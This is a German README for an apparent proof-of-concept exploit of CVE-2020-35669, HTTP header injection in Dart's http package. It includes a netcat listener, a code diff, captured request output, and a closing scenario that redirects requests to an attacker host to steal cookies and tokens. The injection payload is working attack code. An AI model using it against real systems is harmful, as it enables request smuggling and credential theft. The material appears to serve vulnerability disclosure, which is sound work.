n0npax/cve-2020-35669Proof-of-Concept-Exploit für CVE-2020-35669, das HTTP-Request-Smuggling und Header-Injection im http-Paket von Dart über manipulierte Methodenparameter demonstriert und so Reverse-Proxy-Bypass sowie Host-Header-Manipulation ermöglicht.
Bitte starte den Dummy-Server im ersten Terminal
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
Bitte führe main.dart im zweiten Terminal aus
dart run main.dart
nc sollte die angegebene Anfrage empfangen
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
Angenommen, der oben gezeigte diff wurde nicht angewendet und der Benutzer befindet sich hinter rev-proxy Die von example.com bereitgestellte Website wurde erreicht.
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
Wenn der Entwickler Request verwendet, um das Erzeugen von HTTP-Aufrufen zu abstrahieren, und er einen Methodenparameter vom Benutzer akzeptiert, kann der Benutzer einiges anstellen, etwa Header-Injection oder Pfadfälschung.
Dies kann auf viele Arten ausgenutzt werden und scheint besonders dann wichtig zu sein, wenn ein Reverse-Proxy im Einsatz ist. Ein Proxy könnte die Anfrage einer Person einfach an einen beliebigen Host weiterleiten, basierend auf dem host-Header.
Nehmen wir an, ich ersetze example.com durch my-evil-uservice.org und das Opfer arbeitet in einem Unternehmen hinter dem Proxy. Das bedeutet, ich kann Aufrufe mit Headern/Cookies (Tokens) umleiten und so weiter. Dadurch können Aufrufe mit allen Headern/Cookies gestohlen werden.